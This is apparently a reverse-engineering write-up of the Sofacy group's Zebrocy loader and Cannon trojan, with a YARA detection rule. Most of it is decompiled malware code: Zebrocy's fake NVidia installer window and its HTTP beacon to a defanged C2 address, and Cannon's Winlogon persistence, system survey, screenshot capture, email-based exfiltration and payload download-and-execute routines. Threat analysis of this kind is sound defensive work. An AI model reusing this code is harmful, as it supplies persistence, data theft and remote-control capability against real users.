Tag: reverse engineering

//////////////////////////////////////////////////////////////
///////////////// Zebrocy WinMain Function ///////////////////
/////////////////////////////////////////////////////////////
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  v16.cbSize = 48;
  v16.style = 3;
  v16.lpfnWndProc = NvidiaSetupMsg; // Draw fake "Nvidia" install message
  v16.cbClsExtra = 0;
  v16.cbWndExtra = 0;
  v16.hInstance = hInstance;
  v16.hIcon = LoadIconW(hInstance, (LPCWSTR)0x7F00);
  v16.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
  v16.hbrBackground = (HBRUSH)6;
  v16.lpszMenuName = 0;
  v16.lpszClassName = L"win32app";
  v16.hIconSm = LoadIconW(hInstance, (LPCWSTR)0x7F00);
  if ( !RegisterClassExW(&v16) )
    return 1;
  dword_42A84C = (int)hInstance;
  GetVolumeInfoMain((int)&v23); // Retrieve serial number from disc "C:\\"
  v17 = &v9;
  GetComputerName((int)&v9); // Retrieve computer name
  bit_func_Main_((int)&v19, v9, v10, v11, v12, v13, v14);
  v15 = &Rect;
  v4 = GetDesktopWindow();
  GetWindowRect(v4, v15);
  v5 = CreateWindowExW(
         0x80088u,                              // dwExStyle = 
         // WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_LAYERED
         L"win32app",                           // lpClassName
         L"Application_Win32",                  // lpWindowName
         0xCA0000u,                             // dwStyle
         // WS_OVERLAPPED|WS_MINIMIZEBOX|WS_SYSMENU|WS_CAPTION
         Rect.right,                            // X.right
         Rect.bottom,                           // Y.bottom
         0,                                     // nWidth = 0
         0,                                     // nHeight = 0
         0,                                     // hWndParent = NULL
         0,                                     // hMenu = NULL
         hInstance,                             // hInstance
         0);                                    // lpParam = NULL
  v6 = v5;
  if ( !v5 )
  {
    if ( v21 >= 16 )
      val(v19);
    v21 = 15;
    v20 = 0;
    LOBYTE(v19) = 0;
    if ( v24 >= 16 )
      val(v23);
    return 1;
  }
  ShowWindow(v5, nShowCmd);
  UpdateWindow(v6);
  Sleep(3000u);
  if ( ZebrocyMainCaller() == 1 )
  {
    KillTimer(v6, 1u);
    PostQuitMessage(0);
  }
  while ( GetMessageW(&Msg, 0, 0, 0) )
  {
    TranslateMessage(&Msg);
    DispatchMessageW(&Msg);
  }
  v8 = Msg.wParam;
  if ( v21 >= 0x10 )
    val(v19);
  v21 = 15;
  v20 = 0;
  LOBYTE(v19) = 0;
  if ( v24 >= 16 )
    val(v23);
  return v8;
}

//////////////////////////////////////////////////////////////
//////////////// Zebrocy NvidiaSetupMsg Function ////////////
/////////////////////////////////////////////////////////////
LRESULT __stdcall NvidiaSetupMsg(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  qmemcpy(&NVidia, L"NVidiaSetup 98% comp", 42u);
  if ( Msg > 15 )                               // WM_PAINT = 15
  {
    if ( Msg != 275 )                           // WM_TIMER = 275
      return DefWindowProcW(hWnd, Msg, wParam, lParam);
    if ( ZebrocyMainCaller() == 1 ) // Main Zebrocy Caller Function
    {
      KillTimer(hWnd, 1u);
LABEL_12:
      PostQuitMessage(0);
      return 0;
    }
  }
  else if ( Msg == 15 )                         // WM_PAINT = 15
  {
    v4 = BeginPaint(hWnd, &Paint);
    TextOutW(v4, 5, 5, &NVidia, wcslen(&NVidia));
    EndPaint(hWnd, &Paint);
  }
  else
  {
    if ( Msg != 1 )                             // WM_CREATE = 1
    {
      if ( Msg == 2 )                           // WM_DESTROY = 2
        goto LABEL_12;
      return DefWindowProcW(hWnd, Msg, wParam, lParam);
    }
    SetTimer(hWnd, 1u, 200000u, 0);
  }
  return 0;
}

WSAStartup -> socket -> enter_decoder -> string_processor -> decoder 

-> WSACleanup -> inet_addr -> htons -> connect -> enter_decoder -> send 

-> closesocket -> shutdown -> recv -> Sleep

str_processor((int)&encoded_value, "CCICUB@CECUBECBCUBECHCAC", 24u);
// 185[.]25[.]50[.]93
str_processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCDUFSEBGSEDFEFDFVFCFUFEFSFBGEGTBTFBGVFFFTBGGGGGGTBHGVBUFVFIFDGAFCFIFSF@G@GAF@BQCEF@GIGDETBDGUFEFDGUFVFCDUFSEBGSECCICUB@CECUBECBCUBECHCAC@BQCDGCGVFHDUFSEBGSEACUBACVB@EDEDEHD@B@GHF@GUBSFVFCFVFDGVFBG@GVBEGBCACHCHCDFRFVB@GSFEFHFCGIGCGVBCCICUB@CECUBECBCUBECHCACVBVBQC@GDGDGHF@BDECEVD@E", 310u);
/*POST hxxp://185[.]25[.]50[.]93/syshelp/kd8812u/protocol[.]php\n
Host: 185[.]25[.]50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:
*/
str_processor((int)&encoded_value, "TCGFBGVF@G", 10u);
// porg=
processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCD");
//  "Content-Length: "

>>> "3138352E32352E35302E3933".decode("hex") # defanged
'185[.]25[.]50[.]93'

///////////////////////////////////////////////////////////////////////  
///////////////// Intitial Zebrocy Decoder Prepare First ///////////////
///////////////////////////////////////////////////////////////////////  
encoded = (char *)holder_for_encoded;
  if ( v38 < 16 )
    encoded = (char *)&holder_for_encoded;
  v8 = &encoded[v37];
  v9 = (char *)holder_for_encoded;
  if ( v38 < 16 )
    v9 = (char *)&holder_for_encoded;
  for ( ; v9 != v8; *v8 = v10 )
  {
    if ( v9 == --v8 )
      break;
    v10 = *v9;
    *v9++ = *v8;
  }
  v35 = 15;
  v34 = 0;
  LOBYTE(v33) = 0;
  LOBYTE(v42) = 3;
  for ( i = 0; i < v37; ++i )
  {
    encoded_1 = holder_for_encoded;
    if ( v38 < 16 )
      encoded_1 = &holder_for_encoded;
    except_result(encoded_1[i] - 16, (int)&v33);
  }

-1
0009

////////////////////////////////////////////////
///// Zebrocy "recv" Processor Fragment ///////
///////////////////////////////////////////////
  if ( processor_str("-1", (int)&flag_response) ) // possible cmd = "-1"
  {
    if ( v98 >= 16 )
      free(flag_response);
    v98 = 15;
    v97 = 0;
    LOBYTE(flag_response) = 0;
    if ( v83 >= 16 )
      free(v81);
    v83 = 15;
    v82 = 0;
    LOBYTE(v81) = 0;
    if ( v95 >= 16 )
      free(post_request_1);
    v95 = 15;
    len = 0;
    LOBYTE(post_request_1) = 0;
    if ( v101 >= 16 )
      free(cp);
    v10 = v92 < 16;
    v101 = 15;
    v100 = 0;
    LOBYTE(cp) = 0;
    goto LABEL_29;
  }
  if ( processor_str("009", (int)&flag_response) ) // possible cmd = "009"
  {
    free_0((int)&flag_response);
    free_0((int)&v81);
    free_0((int)&post_request_1);
    free_0((int)&cp);
    free_0((int)&v90);
    return 1;
  }

import "pe"

rule apt_sophacy_loader_zebrocy {
   meta:
       reference = "Detects Sofacy Zebrocy C++ loader"
      author = "@VK_Intel"
      date = "2018-12-08"
      hash1 = "dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d"
   strings:
   $dec_processor = { 55 8b ec 53 8b ?? ?? 56 8b f1 85 db 74 ?? 8b ?? ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 3b d8 72 ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 8b ?? ?? 03 d0 3b d3 76 ?? 83 f9 10 72 ?? 8b ?? 8b ?? ?? 51 2b d8 53}
   $decoder1 = { 55 8b ec 6a ff 68 e9 f7 41 00 64 ?? ?? ?? ?? ?? 50 83 ec 64 a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 53 56 50 8d ?? ?? 64 ?? ?? ?? ?? ?? 33 db 89 ?? ?? 89 ?? ?? 6a ff c7 ?? ?? ?? ?? ?? ?? 53 8d ?? ?? 50 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 8b c6 83 fa 10 73 ?? 8d ?? ??}
   $decoder2 = { 33 db c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c6 ?? ?? ?? c6 ?? ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 8b ?? ?? 0f ?? ?? ?? 83 eb 10 8d ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 40 89 ?? ?? 3b ?? ?? 72 ??}   

  condition:
      ( uint16(0) == 0x5a4d and
         filesize < 500KB and
         pe.imphash() == "287595010a7d7f2e14aec2068098ad43" and
         ( all of them )
      ) or ( 1 of ($decoder*) and $dec_processor)
}

New #Unit42 research: #Sofacy continues global attacks and wheels out new ‘Cannon’ Trojan. Get the full report https://t.co/9ebNJ2x6aY pic.twitter.com/07b85lWiLh

— Unit 42 (@Unit42_Intel) November 20, 2018

https://platform.twitter.com/widgets.js Source:

////////////////////////////////////////////////////////////////////
////////////////////// Cannon Malware Main "Program" ///////////////
////////////////////////////////////////////////////////////////////
internal static class Program
{
  [STAThread]
   private static void Main()
 {
  try
  {
   if (File.Exists("C:\\Users\\Public\\Music\\s.txt"))
           {
            Process.Start("explorer.exe");
           }
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(defaultValue: false);
    Application.Run(new Form1());
   }
  catch (Exception)
  {
  }
 }
}

III. Cannon “Form1” Main Functions
Next, the class “Form1” starts with InitializeComponent(), which sets up all the variables and intervals with EventHandler for the main functions as detailed by Unit 42:

////////////////////////////////////////////////////////////////////
// Cannon Malware Sequence "Form1" Calls & Intervals //////////////
///////////////////////////////////////////////////////////////////
start.Interval = 1000;
start.Tick += new System.EventHandler(start_Tick);
inf.Interval = 300000;
inf.Tick += new System.EventHandler(inf_Tick);
txt.Interval = 120000;
txt.Tick += new System.EventHandler(txt_Tick);
subject.Interval = 120000;
subject.Tick += new System.EventHandler(subject_Tick);
run.Interval = 60000;
run.Tick += new System.EventHandler(run_Tick);
load.Interval = 120000;
load.Tick += new System.EventHandler(load_Tick);
screen.Interval = 10000;
screen.Tick += new System.EventHandler(screen_Tick);
eTim.Interval = 13000;
eTim.Tick += new System.EventHandler(eTim_Tick);

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "start_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void start_Tick(object sender, EventArgs e)
{
 try
 {
 start.Enabled = false;
 Lenor lenor = new Lenor();
 if (Directory.Exists("C:\\Users\\Public\\Music")
 {
  dir = "C:\\Users\\Public\\Music" + "\\"; 
 }
 else
 {
  dir = "C:\\Documents and Settings\\All Users\\Documents" + "\\"; 
 } 
 att = dir + "auddevc.txt";
 _id = lenor.id(dir);
 if (!File.Exists(dir + "s.txt"))
 {
  lenor.Dir = dir;
  lenor.Registration("\"HKCU\\Software\\Microsoft\\" + 
                "Windows NT\\CurrentVersion\\Winlogon\", "Shell");
  File.WriteAllText(dir + "s.txt", "{SysPar = 65}");
 }
 inf.Enabled = true;
 }
 catch (Exception)
 {
 }
}

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "Id" Bot ID Generation /////////////
////////////////////////////////////////////////////////////////////
public string id("C:\\Documents and Settings\\All Users\\Documents")
{
 string text = "";
 string text2 = "";
 string text3 = "";
 string text4 = "";
 volumename = SN("C:\\Documents and Settings\\All Users\\Documents", "C");
 volumename = volumename.Trim();
 username = Environment.UserName;
 byte[] bytes = Encoding.Default.GetBytes(text4);
 text4 = BitConverter.ToString(bytes);
 username = text4.Replace("-", "");
 full_id = volumename + username;

/*
public string SN(string "C:\\Documents and Settings\\All Users\\Documents", string name)
{
string text = "";
try
{
 while (!File.Exists("C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt"))
 {
 try
 {
 string contents = "vol " + 
 "C" + ":>>" + "C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt";
 File.WriteAllText("C:\\Documents and Settings\\All Users\\Documents" + "\\b.bat", contents);
 ProcessStartInfo processStartInfo = new ProcessStartInfo();
 processStartInfo.FileName = d + "\\b.bat";
 processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
 Process.Start(processStartInfo);
 File.Delete(d + "\\b.bat");
 }
 catch (Exception)
 {
 }
 }
 text = File.ReadAllText(d + "\\99.txt");
 string[] array = text.Split('\n');
 text = array[1];
 text = text.Substring(text.LastIndexOf(" "));
 text = text.Remove(text.IndexOf('-'), 1);
 File.Delete(d + "\\99.txt");
}
catch (Exception)
{
}
return text;
}
*/

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void inf_Tick(object sender, EventArgs e)
{
 try
 {
 inf.Enabled = false;
 string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
 a1 = array[1];
 b1 = array[0];
 array = "REDACTED_PASS3|cervot.woprov".Split('|');
 a2 = array[1];
 b2 = array[0];
 array = "REDACTED_PASS4|lobrek.chizh".Split('|');
 a3 = array[1];
 b3 = array[0];
 Lenor lenor = new Lenor();
 lenor.Dir = dir;
 File.Delete(dir + "\\b.bat");
 string userName = Environment.UserName;
 lenor.inf(dir + "i.ini", userName);
 MDat mDat = new MDat();
 mDat.Dom = "@post.cz";
 mDat.Host = "smtp.seznam.cz";
 mDat.fn = dir + "i.ini"; //filename attachement
 mDat.ID = _id; //subject
 mDat.bod = "S_inf"; // body
 mDat.mT = "sahro.bella7"; // to
 AUTH aUTH = new AUTH();
 aUTH.mF1 = a1; // from bishtr.cam47
 aUTH.p1 = b1;  // REDACTED_PASS2
 aUTH.mF2 = a2; // from cervot.woprov
 aUTH.p2 = b2;  // REDACTED_PASS3
 aUTH.mF3 = a3; // from lobrek.chizh
 aUTH.p3 = b3;  // REDACTED_PASS4
 lenor.sent(mDat, aUTH);
 screen.Enabled = true;
 }
 catch (Exception)
 {
 screen.Enabled = true;
 }
}

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf" Function Fragment /////////////
////////////////////////////////////////////////////////////////////
public string inf(string fn, string CurU)
{
 string text = "";
 StringBuilder stringBuilder = new StringBuilder();
 stringBuilder.AppendFormat("RPlace:\n" + Environment.NewLine);
 stringBuilder.AppendFormat("{0} \n", Application.ExecutablePath + Environment.NewLine);
 stringBuilder.AppendFormat("===================================================================================\n"
 + Environment.NewLine);
 stringBuilder.AppendFormat("OS:  {0}\n", Environment.OSVersion + Environment.NewLine);
 stringBuilder.AppendFormat("SDir:  {0}\n", SDir() + Environment.NewLine);
 stringBuilder.AppendFormat("Domain:  {0}\n", Domain() + Environment.NewLine);
 stringBuilder.AppendFormat("Host: {0}\n", HostN() + Environment.NewLine);
 stringBuilder.AppendFormat("CurrentUsr: {0}\n", CurU + Environment.NewLine);
 stringBuilder.AppendFormat("TimeZ: {0}\n", GetTZ() + Environment.NewLine);
 stringBuilder.AppendFormat("Working: {0}\n", TimeWork() + Environment.NewLine);
 stringBuilder.AppendFormat("===================================================================================\n" 
+ Environment.NewLine);
 stringBuilder.AppendFormat("\n" + DrvDsk() + Environment.NewLine);
 stringBuilder.AppendFormat("===================================================================================\n" 
+ Environment.NewLine);
 stringBuilder.AppendFormat("Swr:\n" + Environment.NewLine);
 text = "C:\\Program";
 string[] directories = Directory.GetDirectories(text + " Files\\");
 string[] array = directories;
 foreach (string str in array)
 {
 stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
 }
 if (Directory.Exists(text + " Files (x86)\\"))
 {
 directories = Directory.GetDirectories(text + " Files (x86)\\");
 array = directories;
 foreach (string str in array)
 {
  stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
 }
 }
 stringBuilder.AppendFormat("===================================================================================\n" 
+ Environment.NewLine);
 stringBuilder.AppendFormat("PrL:\n" + Environment.NewLine);

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "txt_Tick"  function ////////////////
////////////////////////////////////////////////////////////////////
private void txt_Tick(object sender, EventArgs e)
{
 try
{
 txt.Enabled = false;
 string[] array = "REDACTED_PASSWORD|trala.cosh2".Split('|');
 ai = array[1];
 bi = array[0];
 Lenor lenor = new Lenor();
 _adr = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz");
 if (_adr.Length > 0)
 {
  MDat mDat = new MDat();
  mDat.Dom = "@post.cz";
  mDat.Host = "smtp.seznam.cz";
  mDat.fn = dir + "s.txt";
  mDat.ID = _id;
  mDat.bod = "ok";
  mDat.mT = "sahro.bella7";
  AUTH aUTH = new AUTH();
  aUTH.mF1 = a1;
  aUTH.p1 = b1;
  aUTH.mF2 = a2;
  aUTH.p2 = b2;
  aUTH.mF3 = a3;
  aUTH.p3 = b3;
  lenor.sent(mDat, aUTH);
  load.Enabled = true;
 }
 else
 {
  txt.Enabled = true;
 }
 }
 catch (Exception)
{
 load.Enabled = true;
}
}

/////////////////////////////////////////////////////////////////////
// Cannon Malware "txt_Tick" Command Email GetMessage Loop for cmd //
////////////////////////////////////////////////////////////////////
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
  message = pop3Client.GetMessage(i + 1);
  if (message.Headers.Subject == ID)
   {
    byte[] body = message.MessagePart.Body;
    text = BitConverter.ToString(body);
    text = FromHex(text);
    pop3Client.DeleteMessage(i + 1);
   }
}

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "subject_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void subject_Tick(object sender, EventArgs e)
{
 try
 {
 subject.Enabled = false;
 Lenor lenor = new Lenor();
 lenor.Dir = dir;
 rn = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz";);
 rn = rn.Trim();
 if (rn.Length > 0)
 {
  MDat mDat = new MDat();
  mDat.Dom = "@post.cz";
  mDat.Host = "smtp.seznam.cz";
  mDat.fn = dir + "s.txt";
  mDat.ID = _id;
  mDat.bod = "ok3";
  mDat.mT = "sahro.bella7";
  AUTH aUTH = new AUTH();
  aUTH.mF1 = a1;
  aUTH.p1 = b1;
  aUTH.mF2 = a2;
  aUTH.p2 = b2;
  aUTH.mF3 = a3;
  aUTH.p3 = b3;
  lenor.sent(mDat, aUTH);
  run.Enabled = true;
 }
 else
 {
  subject.Enabled = true;
 }
 }
 catch (Exception)
 {
 }
 }

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "run_Tick" function /////////////////
////////////////////////////////////////////////////////////////////
private void run_Tick(object sender, EventArgs e)
{
 try
 {
  run.Enabled = false;
  try
  {
 Directory.CreateDirectory(rn.Substring(0, rn.LastIndexOf("\\")));
  }
  catch (Exception)
  {
  }
 File.Move(att, rn);
 if (File.Exists(rn))
 {
 Lenor lenor = new Lenor();
 MDat mDat = new MDat();
 mDat.Dom = "@post.cz";
 mDat.Host = "smtp.seznam.cz";
 mDat.fn = dir + "l.txt";
 mDat.ID = _id;
 mDat.bod = "ok4";
 mDat.mT = "sahro.bella7";
 AUTH aUTH = new AUTH();
 aUTH.mF1 = a1;
 aUTH.p1 = b1;
 aUTH.mF2 = a2;
 aUTH.p2 = b2;
 aUTH.mF3 = a3;
 aUTH.p3 = b3;
 lenor.sent(mDat, aUTH);
 Process.Start(rn);
 Process[] processes = Process.GetProcesses();
 Process[] array = processes;
 foreach (Process process in array)
 {
  if (process.ProcessName.Contains("auddevc"))
  {
   Lenor lenor2 = new Lenor();
   MDat mDat2 = new MDat();
   mDat2.Dom = "@post.cz";
   mDat2.Host = "smtp.seznam.cz";
   mDat2.fn = dir + "s.txt";
   mDat2.ID = _id;
   mDat2.bod = "ok5";
   mDat2.mT = "sahro.bella7";
   AUTH aUTH2 = new AUTH();
   aUTH2.mF1 = a1;
   aUTH2.p1 = b1;
   aUTH2.mF2 = a2;
   aUTH2.p2 = b2;
   aUTH2.mF3 = a3;
   aUTH2.p3 = b3;
   lenor2.sent(mDat2, aUTH2);
   File.Delete(dir + "sysscr.ops");
   File.Delete(dir + "i.ini");
   Application.Exit();
  }
 }
 }
 else
 {
  Application.Restart();
 }
 }
 catch (Exception)
 {
 Application.Exit();
 }
}

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "load_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void load_Tick(object sender, EventArgs e)
{
try
 {
 load.Enabled = false;
 string text = _adr.Replace("B&", "");
 text = text.Replace("Db", "");
 string[] array = text.Split('%');
 string text2 = array[0];
 string text3 = array[1];
 text2 = text2.Trim();
 text3 = text3.Trim();
 Lenor lenor = new Lenor();
 lenor.Dir = dir;
 File.WriteAllText(dir + "l.txt", "090");
 rn = lenor.piatt(_id, text3 + "@post.cz", text2, "pop.seznam.cz";);
 if (File.Exists(att))
 {
  MDat mDat = new MDat();
  mDat.Dom = "@post.cz";
  mDat.Host = "smtp.seznam.cz";
  mDat.fn = dir + "l.txt";
  mDat.ID = _id;
  mDat.bod = "ok2";
  mDat.mT = "sahro.bella7";
  AUTH aUTH = new AUTH();
  aUTH.mF1 = a1;
  aUTH.p1 = b1;
  aUTH.mF2 = a2;
  aUTH.p2 = b2;
  aUTH.mF3 = a3;
  aUTH.p3 = b3;
  lenor.sent(mDat, aUTH);
  subject.Enabled = true;
 }
 else
 {
  load.Enabled = true;
 }
 }
 catch (Exception)
 {
 }
}

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "piatt" function fragment ///////////
////////////////////////////////////////////////////////////////////
if (pop3Client.GetMessageCount() > 0)
 {
 for (int i = 0; i < pop3Client.GetMessageCount(); i++)
 {
  message = pop3Client.GetMessage(i + 1);
  if (message.Headers.Subject == ID)
  {
 byte[] rawMessage = message.RawMessage;
 text = BitConverter.ToString(rawMessage);
 text = FromHex(text);
 list = message.FindAllAttachments();
 foreach (MessagePart item in list)
 {
  if (item.FileName.Contains("auddevc"))
  {
   FileStream fileStream = new FileStream(Dir + item.FileName, FileMode.Create);
   BinaryWriter binaryWriter = new BinaryWriter(fileStream);
   binaryWriter.Write(item.Body);
   binaryWriter.Close();
   fileStream.Close();
  }
 }
 pop3Client.DeleteMessage(i + 1);
 }
  }
 }

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "screen_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void screen_Tick(object sender, EventArgs e)
{
 try
 {
 screen.Enabled = false;
 string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
 a1 = array[1];
 b1 = array[0];
 array = "REDACTED_PASS3|cervot.woprov".Split('|');
 a2 = array[1];
 b2 = array[0];
 array = "REDACTED_PASS4|lobrek.chizh".Split('|');
 a3 = array[1];
 b3 = array[0];
 Lenor lenor = new Lenor();
 lenor.Dir = dir;
 lenor.scr();
 MDat mDat = new MDat();
 mDat.Dom = "@post.cz";
 mDat.Host = "smtp.seznam.cz";
 mDat.fn = dir + "sysscr.ops";
 mDat.ID = _id;
 mDat.bod = "SCreen";
 mDat.mT = "sahro.bella7";
 AUTH aUTH = new AUTH();
 aUTH.mF1 = a1;
 aUTH.p1 = b1;
 aUTH.mF2 = a2;
 aUTH.p2 = b2;
 aUTH.mF3 = a3;
 aUTH.p3 = b3;
 lenor.sent(mDat, aUTH);
 txt.Enabled = true;
 }
 catch (Exception)
 {
 txt.Enabled = true;
 }
 }

REDACTED_PASS2|bishtr.cam47
REDACTED_PASS3|cervot.woprov
REDACTED_PASS4|lobrek.chizh

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "eTim_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void eTim_Tick(object sender, EventArgs e)
 {
  Application.Exit();
  File.Delete(dir + "\\r.bat");
 }